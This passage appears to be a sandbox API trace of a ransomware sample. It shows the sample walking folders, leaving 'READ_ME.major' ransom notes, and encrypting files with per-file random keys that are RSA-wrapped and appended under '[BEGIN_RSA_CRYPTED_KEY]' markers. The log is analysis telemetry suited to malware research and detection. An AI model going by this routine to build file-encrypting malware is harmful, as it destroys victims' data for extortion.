nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.529] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d9538e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30d0a057, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5588 [0200.530] FindNextFileW (in: hFindFile=0x2ee5588, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d9538e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30d0a057, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.530] FindNextFileW (in: hFindFile=0x2ee5588, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d0a057, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30d0a057, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30d301cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.530] FindNextFileW (in: hFindFile=0x2ee5588, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d0a057, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30d0a057, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30d301cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.530] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d95a84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30d301cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee51c8 [0200.530] FindNextFileW (in: hFindFile=0x2ee51c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82539239, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d95a84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x30d301cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.530] FindNextFileW (in: hFindFile=0x2ee51c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d301cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30d301cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30d301cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.530] FindNextFileW (in: hFindFile=0x2ee51c8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d301cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30d301cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30d301cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.530] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8255f469, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee5088 [0200.530] FindNextFileW (in: hFindFile=0x2ee5088, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8255f469, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.531] FindNextFileW (in: hFindFile=0x2ee5088, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30e614cb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30e614cb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30e614cb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.531] FindNextFileW (in: hFindFile=0x2ee5088, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8255f469, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8255f469, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x8255f469, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0200.531] FindNextFileW (in: hFindFile=0x2ee5088, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8255f469, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x734de9c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd95a74d6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0200.531] FindNextFileW (in: hFindFile=0x2ee5088, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd9108aa5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd9108aa5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xd9108aa5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0200.531] FindNextFileW (in: hFindFile=0x2ee5088, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd9108aa5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd9108aa5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xd9108aa5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0200.531] FindNextFileW (in: hFindFile=0x2ee5088, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd9108aa5, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd9108aa5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xd9108aa5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0200.531] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.531] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0200.532] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1178 [0200.532] GetFileSizeEx (in: hFile=0x1178, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.533] ReadFile (in: hFile=0x1178, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.533] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.533] WriteFile (in: hFile=0x1178, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.533] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.533] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.533] WriteFile (in: hFile=0x1178, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.534] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.534] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.534] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.534] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="apmer7Rah/jjMmprU85M2wnRQnnOqtE9uDR/9dNA8i1X2VVJNTNsslh4SVaIxdJK\nL0Q7GnyWI1p845Xzkdo0yDhVLpNoczrXYDnQZQeGMCPJh45PtKLBYmasGkQGMPoI\nTfi0P7woLxgbb7mGBdolWf2wIjTnvlelnbttldZBH4w9+8Vzs4K5dhjIRB8uhqs1\nT+MBXzVXWc1z3ITZF9tFQQf0QsJ/O1+AXTzrK5eivJkiq6OuZh3H3PsYDKlsMRNA\ntkbrDr35UYQRaifFHTZmaQ5u0UdT7KTP5vRyeb7EVOGWzi0sedVuB2wp0bp6rJ8s\n4ynHSULQg1lCyZOoF4c/VQ==\n", pcchString=0x2e3f9a8) returned 1 [0200.534] WriteFile (in: hFile=0x1178, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.534] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.534] WriteFile (in: hFile=0x1178, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.535] CloseHandle (hObject=0x1178) returned 1 [0200.539] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.539] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0200.539] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1178 [0200.540] GetFileSizeEx (in: hFile=0x1178, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.540] ReadFile (in: hFile=0x1178, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.603] SetFilePointer (in: hFile=0x1178, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.603] WriteFile (in: hFile=0x1178, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.603] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.604] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.604] WriteFile (in: hFile=0x1178, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.604] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.604] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.604] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.604] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8yRn4kSpiB2bO5U1+UAmOAEJmxNvCR0/ua+1qvaZlnfOWAPYC7Z7/h5V7EJLI1PW\nOm3WgOmxUMbckUWbblHcQPIwiaizdvHJfyA1EOMtoXFTd3+BpjQaDjAl4f8XuaoW\nQdOZ/LltHDbpdgO/m/J3j9kvX8iU09+TNAMiSkcYYqdPG2omTWDSDP5fJUGqS20S\nAVLfQFQiUCyrsgdNsmb/ZaUH7wD1dAag2lRYcbSsXq7dhBDqV2Uqjsx6GAasBnFh\n42GO8gtti63oQRY54nLEIFN4wFeNZ2SN5weutREcQ+3n483y6LBD1o014LxPYX+G\nOtOveDI41vq2ukkpQ4JpOg==\n", pcchString=0x2e3f9a8) returned 1 [0200.604] WriteFile (in: hFile=0x1178, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.604] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.604] WriteFile (in: hFile=0x1178, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.605] CloseHandle (hObject=0x1178) returned 1 [0200.606] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.606] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0200.607] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1178 [0200.608] GetFileSizeEx (in: hFile=0x1178, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.608] ReadFile (in: hFile=0x1178, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.620] SetFilePointer (in: hFile=0x1178, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.620] WriteFile (in: hFile=0x1178, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.620] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.620] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.620] WriteFile (in: hFile=0x1178, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.620] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.620] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.621] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lq4lEnBCtM+g42WIrQYmNGIM8CQ4p9o0kRW/qe6bL7mXlj57ecuZ3PZMwd+TgBjL\n2VvyvqZ9RFDh3cD9MY1VV2e0FnOWEWO9TB9hKTMArgnhlZ0y9DbO3icQkGUQ/Yn9\nN8KqnH9E0BwuLgAWJ5i9kGExRYTgiwsbfQ9on/zuYT+DeZuSg+KqxUQCqKbeGCoR\n2iXO6n89sO+b/m0QhqMV3N/smPHN6Wch+aTc5lmHvKKJCR0EgHcUOIoBL4586s2V\nmdu+TVNcfeS2RN9ZzN+esA66OKGp5l2/6vQD2BYGXNCNZUKnlw6yOqoO8SPSKY74\n6VhFdnAjZvWtGhjHSw4LMw==\n", pcchString=0x2e3f9a8) returned 1 [0200.621] WriteFile (in: hFile=0x1178, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.621] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.621] WriteFile (in: hFile=0x1178, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.621] CloseHandle (hObject=0x1178) returned 1 [0200.623] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.623] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0200.624] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.parentalcontrols_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1178 [0200.624] GetFileSizeEx (in: hFile=0x1178, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.624] ReadFile (in: hFile=0x1178, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.624] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.624] WriteFile (in: hFile=0x1178, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.624] SetFilePointer (in: hFile=0x1178, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.624] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.624] WriteFile (in: hFile=0x1178, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.626] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.626] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IW9BzDqYRauqij2uUxG1ENWFheNRd5UlySBn6T0Twwq2X8FJIkFjB5UWKaAkdqQu\n/5pIPiOKO7NoQtXoD5FmuNb9hYrWbRc9mgIvkH7vjUEK87HGJeEVhS+PBLs6RPSn\nObFWeHOYw2sLJIR6v2ao5qLGfe/FlA6kevnUOO+6YVR1mLzKOVcZlkKPHdMldGBc\nKcSt21FoB+ZVj85+/SmtZEIkJNq17tubkvaeVSUAenV5gzPDvP9dOGUeU9h/kTg/\nfMh6d9YRopwdnpvsR9GYwl9wXv6/wPUKFutfQ70p8O1zY67F4GWYQaY0t+wywUOd\n4z/sWmkPu3TvdWrxFCElng==\n", pcchString=0x2e3f9a8) returned 1 [0200.626] WriteFile (in: hFile=0x1178, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 